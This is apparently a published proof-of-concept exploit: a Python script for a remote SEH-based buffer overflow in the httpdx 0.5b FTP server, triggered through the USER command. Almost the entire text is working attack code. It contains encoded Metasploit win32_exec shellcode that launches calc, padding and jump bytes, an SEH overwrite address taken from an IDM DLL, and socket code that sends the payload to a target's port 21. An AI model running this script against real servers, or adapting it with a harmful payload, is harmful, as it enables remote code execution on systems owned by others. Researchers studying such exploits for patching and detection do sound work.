httpdx 0.5b FTP Server Buffer Overflow

`#!/usr/bin/python  
#[*] Usage : httpdx.py [target_ip]  
# _ _ _ __ _ _ _   
#| || | (_) ___ / \ | |__ | | |   
#| __ | | | (_-< | () | | / / |_ _|  
#|_||_| |_| /__/ \__/ |_\_\ |_|   
#  
#[*] Bug : httpdx <= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)  
#[*] Founder : sico2819  
#[*] Tested on : Xp sp3 (EN)(VB)  
#[*] Exploited by : His0k4  
#[*] Greetings : All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com  
#[*] Serra7 Merra7 koulchi mderra7 :p  
  
#[x] Note : I used the case when idm is installed because its dll (idmmbc.dll) is loaded with httpdx.  
  
import socket  
import sys  
  
host = sys.argv[1]   
  
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
shellcode=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"  
"\x42\x50\x42\x50\x42\x50\x4b\x48\x45\x34\x4e\x33\x4b\x58\x4e\x37"  
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x58"  
"\x4f\x45\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x38"  
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x30\x45\x57\x45\x4e\x4b\x58"  
"\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x44"  
"\x4b\x58\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x48"  
"\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"  
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x58\x42\x4b"  
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x56\x4e\x43\x4f\x35\x41\x53"  
"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x38\x42\x4c\x4b\x57"  
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x56\x4a\x49"  
"\x50\x4f\x4c\x48\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x46\x41\x56"  
"\x4e\x36\x43\x36\x42\x30\x5a")  
  
payload = shellcode  
payload += '\x41'*(877 - len(shellcode))  
payload += '\xE9\x8E\xFC\xFF\xFF'  
payload += '\x90'*48  
payload += '\x74\xC9\x90\x90'  
payload += '\x87\x23\x02\x10'  
payload += '\x44'*9000  
  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((host,21))  
s.recv(1024)  
s.send('USER '+payload+'\r\n')  
raw_input("[+] Done, press enter to quit")  
s.close()  
  
  
`